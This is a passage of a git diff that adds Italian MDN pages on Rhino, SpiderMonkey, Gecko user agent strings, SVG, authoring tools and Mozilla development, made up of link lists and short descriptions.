+<dl><dt> <a href="it/RDF_in_cinquanta_parole_o_meno">RDF in cinquanta parole o meno</a>
+</dt><dd> <small>Una rapida introduzione al Resource Description Framework.</small>
+</dd></dl>
+<dl><dt> <a href="it/RDF_Datasource_How-To">RDF Datasource How-To</a>
+</dt><dd> <small>Un documento stile libro di ricette, che descrive come creare una fonte dati nativa lato client che funzioni con l'implementazione RDF di Mozilla.</small>
+</dd></dl>
+<dl><dt> <a href="it/Aggregare_fonti_dati_in-memory">Aggregare fonti dati in-memory</a>
+</dt><dd> <small>Usare le aggregazioni <a href="it/XPCOM">XPCOM</a> con le fonti dati in-memory.</small>
+</dd></dl>
+</td>
+<td>
+<h4 id="Community">Community</h4>
+<ul><li> Vedi i forum Mozilla...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }}
+</p>
+<ul><li> <a class="external" href="http://www.ilrt.bris.ac.uk/discovery/rdf-dev/">RDF-Dev mailing list</a>
+</li></ul>
+<h4 id="Strumenti"> Strumenti </h4>
+<ul><li> <a class="external" href="http://planetrdf.com/guide/#sec-tools">RDF Editors and Tools</a> (EN)
+</li><li> <a class="external" href="http://www.w3.org/RDF/Validator/">RDF Validator</a> (EN)
+</li></ul>
+<h4 id="Argomenti_correlati"> Argomenti correlati </h4>
+<ul><li> <a href="it/XML">XML</a>
+</li></ul>
+</td></tr></tbody></table>
+<p><span>Interwiki Language Links</span>
+</p>{{ languages( { "en": "en/RDF", "fr": "fr/RDF", "ja": "ja/RDF", "pl": "pl/RDF", "pt": "pt/RDF" } ) }}
diff --git a/files/it/rhino/index.html b/files/it/rhino/index.html
new file mode 100644
index 0000000000..d2a5c03fcb
--- /dev/null
+++ b/files/it/rhino/index.html
@@ -0,0 +1,17 @@
+---
+title: Rhino
+slug: Rhino
+tags:
+  - JavaScript
+  - Rhino
+translation_of: Mozilla/Projects/Rhino
+---
+<p><img alt="Image:rhino.jpg" class="internal" src="/@api/deki/files/832/=Rhino.jpg"></p>
+<p><strong>Rhino </strong>è un'implementazione open-source di <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a> scritta interamente in Java. Solitamente è incorporato nelle applicazioni Java per fornire lo scripting agli utenti finali. <span style="line-height: 1.5;">È stato inserito nel</span><span style="line-height: 1.5;"> J2SE 6 come motore predefinito di scripting.</span></p>
+<h4 id="Rhino_downloads" name="Rhino_downloads">Scaricare Rhino</h4>
+<p>Come <a class="internal" href="/en/RhinoDownload" title="en/RhinoDownload">ottentere i sorgenti e i binari</a>. </p>
+<h4 id="Rhino_documentation" name="Rhino_documentation">Documentazione su Rhino</h4>
+<p><a href="/en/Rhino_documentation" title="en/Rhino_documentation">Informazioni su Rhino</a>.</p>
+<h4 id="Rhino_help" name="Rhino_help">Aiuto su Rhino</h4>
+<p><a href="/en/Rhino/Community" title="en/Rhino/Community">Alcune risorse</a> se rimani bloccato.</p>
+<p>{{ languages( { "ja": "ja/Rhino" } ) }}</p>
diff --git a/files/it/rhino/scarica_rhino/index.html b/files/it/rhino/scarica_rhino/index.html
new file mode 100644
index 0000000000..06ceceeb70
--- /dev/null
+++ b/files/it/rhino/scarica_rhino/index.html
@@ -0,0 +1,108 @@
+---
+title: Scarica Rhino
+slug: Rhino/Scarica_Rhino
+tags:
+  - Rhino
+translation_of: Mozilla/Projects/Rhino/Download_Rhino
+---
+<p>È possibile scaricare sia i sorgenti che la versione compilata di Rhino.</p>
+
+<h2 id="Binari">Binari</h2>
+
+<p>Rhino 1.7R4 è l'ultima release.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Release</th>
+   <th scope="col">Data rilascio</th>
+   <th scope="col">Change log</th>
+   <th scope="col">Download link</th>
+  </tr>
+  <tr>
+   <td>Rhino 1.7R4</td>
+   <td>2012-06-18</td>
+   <td><a href="/En/New_in_Rhino_1.7R4" title="En/New_in_Rhino_1.7R4">New in Rhino 1.7R4</a></td>
+   <td><a class="link-https" href="https://github.com/downloads/mozilla/rhino/rhino1_7R4.zip" title="https://github.com/downloads/mozilla/rhino/rhino1_7R4.zip">rhino1_7R3.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7R5</td>
+   <td>2015-01-29</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7R5_RELEASE">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7R5_RELEASE/rhino1_7R5.zip">rhino1_7R5.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.6</td>
+   <td>2015-04-15</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_6_RELEASE">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_6_RELEASE/rhino1.7.6.zip">rhino1.7.6.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.7</td>
+   <td>2015-06-17</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_RELEASE">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_RELEASE/rhino1.7.7.zip">rhino1.7.7.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.7.1</td>
+   <td>2016-02-01</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_1_RELEASE">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_1_RELEASE/rhino-1.7.7.1.zip">rhino1.7.7.1.zip </a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.7.2</td>
+   <td>2017-08-24</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_7_2_Release">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_7_2_Release/rhino-1.7.7.2.zip">rhino1.7.7.2.zip </a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.8</td>
+   <td>2018-01-22</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_8_Release">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_8_Release/rhino-1.7.8.zip">rhino1.7.8.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.9</td>
+   <td>2018-03-15</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_9_Release">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_9_Release/rhino-1.7.9.zip">rhino1.7.9.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.10</td>
+   <td>2018-04-09</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_10_Release">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_10_Release/rhino-1.7.10.zip">rhino1.7.10.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.11</td>
+   <td>2019-05-30</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_11_Release">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_11_Release/rhino-1.7.11.zip">rhino1.7.11.zip</a></td>
+  </tr>
+  <tr>
+   <td>Rhino 1.7.12</td>
+   <td>2020-01-13</td>
+   <td><a href="https://github.com/mozilla/rhino/releases/tag/Rhino1_7_12_Release">Note di rilascio</a></td>
+   <td><a href="https://github.com/mozilla/rhino/releases/download/Rhino1_7_12_Release/rhino-1.7.12.zip">rhino1.7.12.zip</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Per scaricare le versioni precedenti, controlla <a class="external" href="/en/docs/Rhino_downloads_archive" title="en/docs/Rhino_downloads_archive">l'archivio.</a></p>
+
+<h2 id="Licenza">Licenza</h2>
+
+<p>Rhino è open source. Dalla versione 1.7R4 Rhino è disponibile sotto la licenza <a class="external" href="http://www.mozilla.org/MPL/">MPL</a> 2.0.</p>
+
+<p>Le versioni precedenti erano rilasciate sotto licenza MPL 1.1/GPL 2.0.</p>
+
+<p>Per maggiori informazioni controlla <a href="/en/Rhino/License" title="en/Rhino license">la licenza di Rhino</a>.</p>
+
+<h2 id="Sorgenti">Sorgenti</h2>
+
+<p>I sorgenti di Rhino sono inoltre disponibili su github all'indirizzo <a class="link-https" href="https://github.com/mozilla/rhino">https://github.com/mozilla/rhino</a>. Per ottenere i sorgenti usa il comando:</p>
+
+<pre class="code">git clone https://github.com/mozilla/rhino.git
+</pre>
+
+<p>Rhino utilizza <a class="ex-ref external" href="http://ant.apache.org/">Ant</a> come build system.</p>
diff --git a/files/it/spidermonkey/index.html b/files/it/spidermonkey/index.html
new file mode 100644
index 0000000000..5f22fc2353
--- /dev/null
+++ b/files/it/spidermonkey/index.html
@@ -0,0 +1,50 @@
+---
+title: SpiderMonkey
+slug: SpiderMonkey
+translation_of: Mozilla/Projects/SpiderMonkey
+---
+<p><strong>SpiderMonkey</strong> è il motore <a href="it/JavaScript">JavaScript</a> di <a href="it/Gecko">Gecko</a>, scritto in C. Viene utilizzato in vari programmi Mozilla ed è disponibile sotto tre licenze: MPL/GPL/LGPL.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione">Documentazione</h4>
+
+    <dl>
+     <dt><a href="it/JSAPI_Reference">JSAPI Reference</a></dt>
+     <dd><small>La reference per l'API di SpiderMonkey.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="it/Guida_per_l'embedding_del_motore_C_di_JavaScript">Guida per l'embedding del motore C di JavaScript</a></dt>
+     <dd><small>Questa guida fornisce una panoramica di SpiderMonkey e descrive come incorporare le chiamate al motore in altre applicazione per fare in modo che supportino JavaScript.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.mozilla.org/js/spidermonkey/tutorial.html">How to embed the JavaScript engine</a> (EN)</dt>
+     <dd><small>Un asciutto tutorial su come incorporare SpiderMonkey.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="it/SpiderMonkey_Garbage_Collection_Tips">SpiderMonkey Garbage Collection Tips</a> (EN)</dt>
+     <dd><small>Suggerimenti per evitare problemi con il garbage collector.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="it/Introduction_to_the_JavaScript_shell">Introduction to the JavaScript shell</a> (EN)</dt>
+     <dd><small>Come ottenere, compilare e utilizzare la shell JavaScript.</small></dd>
+    </dl>
+   </td>
+   <td>
+    <h4 id="Argomenti_correlati" name="Argomenti_correlati">Argomenti correlati</h4>
+
+    <dl>
+     <dd><a href="it/JavaScript">JavaScript</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/it/stringhe_user_agent_di_gecko/index.html b/files/it/stringhe_user_agent_di_gecko/index.html
new file mode 100644
index 0000000000..d95ef4bd45
--- /dev/null
+++ b/files/it/stringhe_user_agent_di_gecko/index.html
@@ -0,0 +1,52 @@
+---
+title: Stringhe User Agent di Gecko
+slug: Stringhe_User_Agent_di_Gecko
+tags:
+  - Sviluppo_Cross-browser
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Web/HTTP/Headers/User-Agent/Firefox
+---
+<p>Lista di user agent rilasciati da Netscape e AOL basati su Gecko™.</p>
+
+<h3 id="Uso_appropriato" name="Uso_appropriato">Uso appropriato</h3>
+
+<p>Non raccomandiamo di usare le stringhe User Agent come strumento principale per il riconoscimento del browser. Vedere <a href="it/Riconoscimento_di_Browser_supporto_cross-browser">Riconoscimento di Browser supporto cross-browser</a> per una panoramica più dettagliata dui varia approcci per il riconoscimento di browser con raccomandazioni.</p>
+
+<p>In particolare, raccomandiamo il riconoscimento di browser mediante stringa User Agent solo per il lato server. Se il vostro codice lato client di riconoscimento ne fa utilizzo, è sufficente cercare la stringa "Gecko" nella stringa per rilevare browser basati su Gecko.</p>
+
+<p>Per tutti i problemi di identificazione di Gecko che hanno a che fare con specifici bug o che richiedono la conoscenza di stringhe vendor o di date di build, usare l'oggetto <a href="it/DOM_Client_Object_Cross-Reference/navigator">navigator</a>.</p>
+
+<h3 id="Listadi_riferimento_delle_stringhe_User_Agent_di_Netscape_Gecko" name="Listadi_riferimento_delle_stringhe_User_Agent_di_Netscape_Gecko">Listadi riferimento delle stringhe User Agent di Netscape Gecko</h3>
+
+<p>Consultare <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">la lista di riferimento di mozilla.org</a> per i valori specifici di<em>Piattaforma</em>,<em>Sicurezza</em>,<em>OS-o-CPU</em> e<em>Localizzazione</em>.</p>
+
+<ul>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:1.4) Gecko/20030624 Netscape/7.1 (ax)</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:1.0.2) Gecko/20030208 Netscape/7.02</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:1.0.2) Gecko/20021120 Netscape/7.01</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:1.0.1) Gecko/20020823 Netscape/7.0</li>
+ <li>Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20020730 AOL/7.0</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:1.0rc2) Gecko/20020512 Netscape/7.0b1</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:0.9.4.2) Gecko/20020220 CS 2000 7.0/7.0
+  <ul>
+   <li>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4.2) Gecko/20020502 CS 2000 7.0/7.0</li>
+  </ul>
+ </li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:0.9.4) Gecko/20011128 Netscape6/6.2.1</li>
+ <li>Mozilla/5.0 (Piattaforma; Sicurezza; OS-o-CPU; Localizzazione rv:0.9.2) Gecko/20010726 Netscape6/6.1</li>
+</ul>
+
+<p>Per informazioni dettagliate sulle release Netscape e Mozilla, consultare <a class="external" href="http://www.mozilla.org/releases/cvstags.html">mozilla.org cvstags reference</a>.</p>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author: Bob Clary</li>
+ <li>Last Updated Date: June 30th, 2003</li>
+ <li>Copyright © 2001-2003 Netscape. All rights reserved.</li>
+</ul>
+</div>
diff --git a/files/it/strumenti_di_sviluppo_aderenti_agli_standard/index.html b/files/it/strumenti_di_sviluppo_aderenti_agli_standard/index.html
new file mode 100644
index 0000000000..50513b4650
--- /dev/null
+++ b/files/it/strumenti_di_sviluppo_aderenti_agli_standard/index.html
@@ -0,0 +1,37 @@
+---
+title: Strumenti di sviluppo aderenti agli standard
+slug: Strumenti_di_sviluppo_aderenti_agli_standard
+tags:
+  - 'CSS:Strumenti'
+  - HTML
+  - 'HTML:Strumenti'
+  - Strumenti
+  - Tutte_le_categorie
+  - XHTML
+  - 'XHTML:Strumenti'
+translation_of: Archive/Web/Standards-Compliant_Authoring_Tools
+---
+<p>Creare codice che funzioni su tutti i browser è utile per ridurre il tempo necessario al test di qualità dei propri contenuti web. I seguenti strumenti di sviluppo aderiscono agli standard del W3C. Se si sta utilizzando versioni più vecchie di questi strumenti che fanno affidamento sui bug dei vecchi browser o che generano codice specifico per un dato browser, forse è ora di aggiornarli:</p>
+<ul>
+ <li><a class="external" href="http://www.nvu.com/">NVu</a> è un editor standalone creato dalle ceneri di Mozilla Composer. Attualmente il lavoro fatto su NVu è in fase di porting sul vecchio codice sorgente di Mozilla.</li>
+ <li><a class="external" href="http://www.chami.com/html-kit/">HTML-Kit</a> è un tool di sviluppo completo di ogni funzionalità per gli sviluppatori HTML, XHTML e XML per modificare, formattare, cercare aiuto, validare, testare e pubblicare pagine web. La validazione è fatta con HTML Tidy, che permette di verificare l'aderenza agli standard.</li>
+ <li><a class="external" href="http://www.adobe.com/products/golive/">Adobe™ GoLive™ 6+</a></li>
+ <li><a class="external" href="http://www.macromedia.com/software/dreamweaver/">Macromedia™ Dreamweaver™ MX</a></li>
+ <li><a class="external" href="http://www.macromedia.com/software/homesite/">Macromedia™ Homesite™ 5+</a></li>
+ <li><a class="external" href="http://bradsoft.com/">Bradsoft TopStyle</a> è sviluppato dall'autore originale di Homesite</li>
+ <li><a class="external" href="http://www.westciv.com/style_master/">Style Master</a> e <a class="external" href="http://www.westciv.com/layout_master/">Layout Master</a> della Western Civilisation</li>
+</ul>
+<p>Aggiornamenti alle versioni più vecchie per l'aderenza agli standard:</p>
+<ul>
+ <li><a class="external" href="http://www.adobe.com/support/techdocs/2814e.htm">Adobe GoLive 5.0 update</a></li>
+ <li><a class="external" href="http://www.macromedia.com/support/dreamweaver/ts/documents/netscape_6.htm">Dreamweaver 4 update</a></li>
+</ul>
+<p>Sembra che gli strumenti attualmente disponibili da Namo generino codice specifico per IE o Netscape 4, il che potrebbe richiedere un ulteriore debug per verificare la compatibilità con i browser basati sugli standard. Le versioni più recenti di Microsoft FrontPage sono state migliorate, ma si consiglia di non affidarsi ad esse per le funzionalità o i contenuti critici dei siti web. Alcune versioni di Microsoft Word creano codice HTML non valido che funziona esclusivamente con Internet Explorer. Assicurarsi sempre di <a href="it/Strumenti/Validatori">validare</a> le proprie pagine.</p>
+<h3 id="Vedi_anche" name="Vedi_anche">Vedi anche</h3>
+<ul>
+ <li><a href="it/Strumenti/Validatori">Validatori</a></li>
+ <li><a href="it/XHTML">XHTML</a></li>
+ <li><a href="it/HTML">HTML</a></li>
+ <li><a href="it/CSS">CSS</a></li>
+</ul>
+<p> </p>
diff --git a/files/it/svg/index.html b/files/it/svg/index.html
new file mode 100644
index 0000000000..4fcdc7a78d
--- /dev/null
+++ b/files/it/svg/index.html
@@ -0,0 +1,102 @@
+---
+title: SVG
+slug: SVG
+tags:
+  - SVG
+  - Tutte_le_categorie
+translation_of: Web/SVG
+---
+<div class="callout-box"><strong><a href="https://developer.mozilla.org/en-US/docs/SVG/Tutorial" title="SVG/Tutorial">Iniziare ad usare SVG</a></strong><br>
+Questa esercitazione ti aiuterà ad iniziare ad usare SVG.</div>
+
+<div><strong>Scalable Vector Graphics (SVG)</strong> è un linguaggio <a href="https://developer.mozilla.org/en-US/docs/XML" title="XML">XML</a> di markup per la descrizione di grafica vettoriale a due dimensioni. Essenzialmente SVG sta alla grafica come <a href="/it/docs/XHTML">XHTML</a> sta al testo.
+
+<p>SVG è simile negli scopi alla tecnologia proprietaria Macromedia Flash di Adobe, ma quello che distingue SVG da Flash l'essere una <a class="external" href="http://www.w3.org/Graphics/SVG/">raccomandazione W3C</a> (vale a dire, uno standard a tutti gli effetti) e che è basato su XML anzichè essere un formato binario proprietario. E' esplicitamente progettato per lavorare con altri standard <a href="http://www.w3.org/">W3C</a> quali <a href="/it/docs/CSS">CSS</a>, <a href="/it/docs/DOM">DOM</a> e <a class="external" href="http://www.w3.org/AudioVideo/">SMIL</a>.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentazione">Documentazione</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/SVG/Element" title="SVG/Element">Riferimento degli elementi SVG </a></dt>
+ <dd>Ottieni i dettagli di ogni elemento SVG.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/SVG/Attribute" title="SVG/Attribute">Riferimento degli attributi SVG</a></dt>
+ <dd>Ottieni i dettagli di ogni attributo SVG.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference#SVG_interfaces" title="Gecko_DOM_Reference#SVG_interfaces">Riferimento alle API nel DOM di SVG</a></dt>
+ <dd>Ottieni i dettagli sull'intra API nel DOM di SVG.</dd>
+ <dt>Migliora il contenuto HTML</dt>
+ <dd>SVG opera insieme ad HTML, CSS e JavaScript. Utilizza SVG per una comune pagna HTML o un'apllicazione web.</dd>
+ <dt>SVG in Mozilla</dt>
+ <dd>Note e informazioni su come SVG è implementato in Mozilla.
+ <ul>
+  <li><a href="https://developer.mozilla.org/en-US/docs/SVG_in_Firefox" title="SVG_in_Firefox">Quanto è implementato SVG in Firefox</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/SVG_in_Firefox" title="SVG_in_Firefox">Esercitazione sul come utilizzare </a><a href="https://developer.mozilla.org/en-US/docs/SVG_In_HTML_Introduction" title="SVG_In_HTML_Introduction">SVG in XHTML</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/SVG" title="tag/SVG">Vedi Tutto...</a></span></p>
+
+<h2 class="Community" id="Comunità">Comunità</h2>
+
+<ul>
+ <li>Vedi i forum di Mozilla... {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</li>
+</ul>
+
+<h2 class="Tools" id="Strumenti">Strumenti</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/Graphics/SVG/Test/">Suite di prova per SVG</a></li>
+ <li><a href="http://jiggles.w3.org/svgvalidator/">SVG Validator</a> (Cessato)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/tag/SVG:Tools" title="tag/SVG:Tools">Ulteriori Strumenti...</a></li>
+ <li>Altre risorse: <a href="https://developer.mozilla.org/en-US/docs/XML" title="XML">XML</a>, <a href="https://developer.mozilla.org/en-US/docs/CSS" title="CSS">CSS</a>, <a href="https://developer.mozilla.org/en-US/docs/DOM" title="DOM">DOM</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="Esempi">Esempi</h2>
+
+<ul>
+ <li>Google <a href="http://maps.google.com">Maps</a> (sovrapposizione del percorso) &amp; <a href="http://docs.google.com">Docs</a> (grafici dei fogli di calcolo)</li>
+ <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">SVG menu a bolle</a></li>
+ <li><a href="http://jwatt.org/svg/authoring/">Linee guida SVG per autori</a></li>
+ <li>Una panoramica del <a href="https://developer.mozilla.org/en-US/docs/Mozilla_SVG_Project" title="Mozilla_SVG_Project">Progetto SVG di Mozilla</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/FAQ" title="SVG/FAQ">Domande e risposte frequenti</a> su SVG e Mozilla</li>
+ <li>Diapositive e dimostrazioni da SVG Open 2009 su <a href="http://jwatt.org/svg-open-US/docs/2009/slides.xhtml" title="http://jwatt.org/svg-open-US/docs/2009/slides.xhtml">SVG e Mozilla</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/SVG_as_an_Image" title="SVG/SVG as an Image">SVG come immagine</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG/SVG_animation_with_SMIL" title="SVG/SVG animation with SMIL">Anmazione SVG con SMIL</a></li>
+ <li><a href="http://croczilla.com/bits_and_pieces/svg/samples/lion/lion.svg" title="http://croczilla.com/bits_and_pieces/svg/samples/lion/lion.svg">Lion</a>, <a href="http://croczilla.com/bits_and_pieces/svg/samples/butterfly/butterfly.svg" title="http://croczilla.com/bits_and_pieces/svg/samples/butterfly/butterfly.svg">Butterfly</a> &amp; <a href="http://croczilla.com/bits_and_pieces/svg/samples/tiger/tiger.svg" title="http://croczilla.com/bits_and_pieces/svg/samples/tiger/tiger.svg">Tiger</a></li>
+ <li><a href="http://plurib.us/1shot/2007/svg_gallery/">Galleria d'arte SVG</a></li>
+ <li>Ulteriori esempi (<a href="http://croczilla.com/bits_and_pieces/svg/samples" title="http://croczilla.com/bits_and_pieces/svg/samples">Esempi SVG croczilla.com</a>, <a href="http://www.carto.net/papers/svg/samples/">carto.net</a>)</li>
+</ul>
+
+<h3 id="Animazione_e_interazione">Animazione e interazione</h3>
+
+<p>Come HTML, SVG ha un modello di documento a oggetti (DOM) ed events accessibili via JavaScript. Ciò permette agli sviluppatori di creare ricche immagini animate ed interattive.</p>
+
+<ul>
+ <li>Alcuni realmente gustosi SVG da <a href="http://svg-wow.org/" title="http://svg-wow.org/">svg-wow.org</a></li>
+ <li>Estensione di Firefox (<a href="http://schepers.cc/grafox/">Grafox</a>) per aggiungere un sottoinsieme del supporto per animazioni di SMIL</li>
+ <li>Manipolazione interattiva di <a href="http://people.mozilla.com/%7Evladimir/demos/photos.svg">foto</a></li>
+ <li><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">Trasformazioni HTML</a> utilizzando <code>foreignObject</code> di SVG</li>
+ <li><a href="http://lab.vodafone.com/vienna/">Arte animata</a></li>
+</ul>
+
+<h3 id="Mappe_grafici_giochi_ed_sperimentazioni_3D">Mappe, grafici, giochi ed sperimentazioni  3D</h3>
+
+<p>Se un piccolo SVG può fare tanta strada per migliorare il contenuto del web, ecco qualche esempio di uso intensivo di SVG.</p>
+
+<ul>
+ <li><a href="http://www.codedread.com/yastframe.php">Un Tetris SVG</a> &amp; <a href="http://www.treebuilder.de/svg/connect4.svg">Connect 4</a></li>
+ <li><a href="http://files.myopera.com/orinoco/svg/USStates.svg">Gioco Find the State</a></li>
+ <li><a href="http://www.carto.net/papers/svg/us_population/index.html">Mappa della popolazione degli US</a></li>
+ <li><a href="http://www.treebuilder.de/default.asp?file=441875.xml">Scatola 3D</a> e <a href="http://www.treebuilder.de/default.asp?file=206524.xml">Scatole 3D</a></li>
+ <li><a href="http://jvectormap.com/" title="http://jvectormap.com/">jVectorMap</a> (mappe interattive per la visualizzazione dati)</li>
+</ul>
+</div>
+</div>
+
+<div>{{HTML5ArticleTOC}}<a href="http://www.w3.org/AudioVideo/">SMIL</a>.</div>
+</div>
+
+<p></p>
diff --git a/files/it/sviluppare_mozilla/index.html b/files/it/sviluppare_mozilla/index.html
new file mode 100644
index 0000000000..ddde4904ef
--- /dev/null
+++ b/files/it/sviluppare_mozilla/index.html
@@ -0,0 +1,75 @@
+---
+title: Sviluppare Mozilla
+slug: Sviluppare_Mozilla
+translation_of: Archive/Mozilla/Developing_New_Mozilla_Features
+---
+<p> </p>
+<p>Vuoi contribuire a risolvere qualche bug e non sai da dove cominciare? Questo e' il punto di partenza per tutto cio' che riguarda l'hacking. Scoprirai come <a href="it/Download_Mozilla_Source_Code">trovare il codice</a>, <a href="it/Build_Documentation">svilupparlo</a>, <a href="it/Creating_a_patch">creare patch</a>, e tutto l'essenziale che ogni hacker Mozilla dovrebbe conoscere.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione"><a>Documentazione</a></h4>
+    <dl>
+     <dt>
+      <a class="external" href="http://www.mozilla.org/hacking/">Documentazione Hacking su mozilla.org</a></dt>
+     <dd>
+      <small>Un'altra pagina web con documentazione relativa all'hacking.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Hacking_Firefox">Hacking Firefox</a></dt>
+     <dd>
+      <small>fatti coinvolgere nello sviluppo.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Documentazione_per_lo_sviluppo">Documentazione per lo sviluppo</a></dt>
+     <dd>
+      <small>Questa sezione contiene la documentazione del sistema di sviluppo di Mozilla. Tra le altre cose, imparerai dove trovare il codice sorgente e come svilupparlo.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      Debugging FAQs</dt>
+     <dd>
+      <small>Consigli sul debugging, sono le specifiche della piattaforma. Puoi scegliere tra: <a href="it/Debugging_Mozilla_on_Windows_FAQ">Windows</a>, <a class="external" href="http://www.mozilla.org/unix/debugging-faq.html">Linux</a>, oppure <a href="it/Debugging_on_Mac_OS_X">Mac OS X</a>.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Creare_patch">Creare patch</a></dt>
+     <dd>
+      <small>Consigli su come creare patch per ottenere cambiamenti nel modello.</small></dd>
+    </dl>
+    <p><span class="alllinks"><a>Mostra tutti...</a></span></p>
+   </td>
+   <td>
+    <h4 id="Community" name="Community">Community</h4>
+    <ul>
+     <li>Mostra i forum su Mozilla...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-general", "mozilla.dev.general") }}</p>
+    <ul>
+     <li><a class="link-irc" href="irc://irc.mozilla.org/developers">#developers on irc.mozilla.org</a></li>
+     <li><a class="external" href="http://www.mozilla.org/community/developer-forums.html">Topic-specific list of all developer forums</a></li>
+    </ul>
+    <h4 id="Strumenti" name="Strumenti">Strumenti</h4>
+    <ul>
+     <li><a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Bugzilla</a></li>
+     <li><a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></li>
+     <li><a href="it/Tinderbox">Tinderbox</a></li>
+     <li><a class="external" href="http://lxr.mozilla.org/">Mozilla Cross-Reference (LXR)</a></li>
+    </ul>
+    <p><span class="alllinks"><a>Vedi Tutti...</a></span></p>
+    <h4 id="Argomenti_Corelati" name="Argomenti_Corelati">Argomenti Corelati</h4>
+    <dl>
+     <dd>
